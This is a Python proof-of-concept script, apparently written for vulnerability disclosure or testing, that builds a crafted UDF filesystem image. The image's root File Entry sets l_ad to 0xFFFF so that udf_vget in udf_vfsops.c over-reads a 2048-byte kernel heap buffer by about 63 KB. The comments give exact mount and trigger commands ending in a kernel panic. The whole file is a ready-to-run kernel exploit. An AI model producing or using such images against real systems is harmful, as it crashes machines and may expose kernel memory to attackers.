#!/usr/bin/env python3
# DF-0880 -- crafted UDF image generator (heap over-read in udf_vget).
#
# Builds a minimal but fully valid UDF filesystem (ECMA-167 / UDF 2.x) whose
# ROOT File Entry descriptor carries attacker-chosen l_ea/l_ad that, per
# udf_vfsops.c:527, drive:
#
#     size = UDF_FENTRY_SIZE + fe->l_ea + fe->l_ad
#
# With l_ad = 0xFFFF (65535) and l_ea = 0:
#
#     size = 176 + 0 + 65535 = 65711 bytes
#
# but RDSECTOR at :514 only read udfmp->bsize (2048) bytes into bp->b_data.
# The bcopy at :530
#
#     bcopy(bp->b_data, unode->fentry, size)
#
# therefore reads 65711 bytes from a 2048-byte source buffer = a 63663-byte
# (63 KB) heap OVER-READ.  Neither l_ea nor l_ad is validated against bsize
# anywhere between :527 and :530.
#
# Mount-time read of the root FE (udf_vfsops.c:372-386) only checks the
# descriptor tag (TAGID_FENTRY) and does NOT compute size / bcopy, so the
# image mounts cleanly.  The over-read fires on first ls/stat when
# udf_root() -> udf_vget() reads the root inode.
#
# Mount with:   vnconfig vn0 img.udf ; mount_udf /dev/vn0c /mnt
# Trigger:      ls /mnt     (or stat)   ->  kernel page-fault panic
#
# Layout (2048-byte sectors):
#   16..18  VRS (BEA01 / NSR02 / TEA01)
#   32..34  MVDS (PVD / PD / LVD)
#   64      FSD            (partition-relative 0)
#   65      root File Entry(partition-relative 1)  <-- l_ad=0xFFFF here
#   256     Anchor VDP
import struct, sys

BSIZE    = 2048
PART_ST  = 64          # partition start sector (absolute)
PART_LEN = 448         # sectors
SECTORS  = 512         # image size in sectors
PART_NUM = 0

TAGID_PVD, TAGID_ANCHOR, TAGID_VOL, TAGID_PARTITION, TAGID_LOGVOL = 1,2,3,5,6
TAGID_TERM, TAGID_FSD, TAGID_FID, TAGID_FENTRY = 8,256,257,261

def tag(tid, loc, crc=0, crc_len=0, ver=2, serial=0):
    """Build a 16-byte desc_tag with the ECMA-167 checksum udf_checktag uses.
       (udf_checktag only verifies id + cksum, NOT desc_crc -- so crc can be 0.)"""
    b = bytearray(16)
    struct.pack_into("<HHBBHHHI", b, 0,
                     tid, ver, 0, 0, serial, crc, crc_len, loc)  # byte[2]=cksum(0)
    ck = 0
    for i in range(15):      # sum bytes 0..14
        ck = (ck + b[i]) & 0xFF
    ck = (ck - b[4]) & 0xFF  # subtract the cksum byte (udf_checktag line 218)
    b[4] = ck
    return bytes(b)

def sector(buf):
    """Pad/truncate to exactly one 2048-byte sector."""
    b = bytearray(buf)
    if len(b) < BSIZE: b.extend(b"\x00" * (BSIZE - len(b)))
    return bytes(b[:BSIZE])

def regid(s):
    s = s.encode() if isinstance(s, str) else s
    return bytes([0]) + s[:23].ljust(23, b"\x00") + b"\x00"*8      # flags+id(23)+suffix(8)

def charspec():
    return b"\x00" + b"OSTA Compressed Unicode" .ljust(63, b"\x00")

def ts():
    return b"\x01" + b"\x00"*11        # type 1 tz, zeroed time fields

# ---------- Volume Recognition Sequence ----------
def vrs_entry(ident):
    b = bytearray(BSIZE)
    b[0] = 0
    b[1:6] = ident.encode() if isinstance(ident,str) else ident
    struct.pack_into("<H", b, 6, 0x0201)
    return bytes(b)
BEA = vrs_entry("BEA01")
NSR = vrs_entry("NSR02")
TEA = vrs_entry("TEA01")

# ---------- Anchor VDP (sector 256) ----------
def anchor():
    main_loc, main_len = 32, 5*BSIZE
    res_loc,  res_len  = 32, 5*BSIZE
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_ANCHOR, 256)
    struct.pack_into("<II", b, 16, main_len, main_loc)
    struct.pack_into("<II", b, 24, res_len,  res_loc)
    return bytes(b)

# ---------- Primary Volume Descriptor (sector 32) ----------
def pvd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_PVD, 32)
    struct.pack_into("<II", b, 16, 1, 1)
    b[24:56] = b"DF0880DISK".ljust(32, b" ")
    struct.pack_into("<H", b, 56, 1)
    b[64:192] = b"DF0880VSET".ljust(128, b" ")
    b[192:256] = charspec() + charspec()
    return sector(b)

# ---------- Partition Descriptor (sector 33) ----------
def pd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_PARTITION, 33)
    struct.pack_into("<I", b, 16, 1)
    struct.pack_into("<H", b, 20, 1)
    struct.pack_into("<H", b, 22, PART_NUM)
    b[24:56] = regid("+FDC01")
    b[56:184] = b"\x00"*128
    struct.pack_into("<I", b, 184, 1)
    struct.pack_into("<I", b, 188, PART_ST)
    struct.pack_into("<I", b, 192, PART_LEN)
    return sector(b)

# ---------- Logical Volume Descriptor (sector 34) ----------
def lvd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_LOGVOL, 34)
    struct.pack_into("<I", b, 16, 1)
    b[20:84]  = charspec()
    b[84:212] = b"DF0880LOGVOL".ljust(128, b" ")
    struct.pack_into("<I", b, 212, BSIZE)
    b[216:248] = regid("*OSTA UDF Compliant")
    struct.pack_into("<I",  b, 248, BSIZE)
    struct.pack_into("<IH", b, 252, 0, PART_NUM)
    struct.pack_into("<H",  b, 258, 0)
    struct.pack_into("<I",  b, 260, 0)
    struct.pack_into("<II", b, 264, 64, 1)
    b[272:304] = regid("*DragonFly BSD")
    b[304:432] = b"\x00"*128
    struct.pack_into("<II", b, 432, 0, 0)
    b[440] = 1; b[441] = 6
    struct.pack_into("<HH", b, 442, 0, PART_NUM)
    return sector(b)

# ---------- File Set Descriptor (sector 64 = partition-relative 0) ----------
def fsd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_FSD, 0)
    b[16:28] = ts()
    struct.pack_into("<HH", b, 28, 3, 3)
    b[48:80]   = charspec()
    b[80:208]  = b"DF0880LOGVOL".ljust(128, b" ")
    b[208:272] = charspec()
    b[272:304] = b"\x00"*32
    # rootdir_icb long_ad: len, lb_num(1), part_num(0), ad_flags, ad_id
    struct.pack_into("<I",  b, 400, BSIZE)
    struct.pack_into("<IH", b, 404, 1, PART_NUM)     # root FE at part-sector 1
    struct.pack_into("<H",  b, 410, 0)
    struct.pack_into("<I",  b, 412, 0)
    b[416:416+32] = regid("*OSTA UDF Compliant")
    return sector(b)

# ---------- File Entry (sector 65 = partition-relative 1) ----------
# THE BUG: l_ad=0xFFFF, l_ea=0 -> size=176+65535=65711 >> bsize=2048
def icb_tag(file_type, flags):
    b = bytearray(20)
    struct.pack_into("<I",  b, 0,  0)
    struct.pack_into("<H",  b, 4,  4)               # strat_type 4
    b[6:8] = b"\x00\x00"
    struct.pack_into("<H",  b, 8,  1)
    b[10] = 0
    b[11] = file_type                               # 4 = directory
    struct.pack_into("<IH", b, 12, 1, PART_NUM)
    struct.pack_into("<H",  b, 18, flags)
    return bytes(b)

def root_fe(l_ea=0, l_ad=0xFFFF):
    b = bytearray(BSIZE)
    b[0:16]   = tag(TAGID_FENTRY, 1)                # partition-relative sector 1
    b[16:36]  = icb_tag(file_type=4, flags=0)       # directory, short_ad
    struct.pack_into("<I", b, 36, 0)                # uid
    struct.pack_into("<I", b, 40, 0)                # gid
    struct.pack_into("<I", b, 44, 0x14A4)           # perm (0755 dir)
    struct.pack_into("<H", b, 48, 2)                # link_cnt
    b[50] = 0; b[51] = 0
    struct.pack_into("<I", b, 52, 0)                # rec_len
    struct.pack_into("<Q", b, 56, 0)                # inf_len (irrelevant; panic before readdir)
    struct.pack_into("<Q", b, 64, 1)                # logblks_rec
    b[72:84]  = ts()
    b[84:96]  = ts()
    b[96:108] = ts()
    struct.pack_into("<I", b, 108, 1)               # ckpoint
    b[112:128] = b"\x00"*16                         # ex_attr_icb
    b[128:160] = regid("*DragonFly BSD")
    struct.pack_into("<Q", b, 160, 0)               # unique_id
    struct.pack_into("<I", b, 168, l_ea)            # l_ea  <-- attacker-controlled
    struct.pack_into("<I", b, 172, l_ad)            # l_ad  <-- attacker-controlled (0xFFFF)
    # data[] at offset 176: zero (content irrelevant; bcopy over-reads the SOURCE)
    return sector(b)

# ---------- assemble image ----------
img = bytearray(SECTORS * BSIZE)
def put(sec, data):
    img[sec*BSIZE: sec*BSIZE + BSIZE] = data[:BSIZE]

put(16, BEA); put(17, NSR); put(18, TEA)
put(32, pvd()); put(33, pd()); put(34, lvd())
put(64, fsd())
put(65, root_fe(l_ea=0, l_ad=0xFFFF))              # THE VULNERABLE root FE
put(256, anchor())

name = sys.argv[1] if len(sys.argv) > 1 else "df0880.udf"
with open(name, "wb") as f:
    f.write(img)

UDF_FENTRY_SIZE = 176
size = UDF_FENTRY_SIZE + 0 + 0xFFFF
print("wrote %s: %d bytes (%d sectors)" % (name, len(img), SECTORS))
print("root FE: l_ea=0 l_ad=0xFFFF -> size=UDF_FENTRY_SIZE+l_ea+l_ad=%d+%d+%d=%d"
      % (UDF_FENTRY_SIZE, 0, 0xFFFF, size))
print("bsize=%d -> bcopy reads %d bytes from %d-byte buffer = %d-byte HEAP OVER-READ"
      % (BSIZE, size, BSIZE, size - BSIZE))
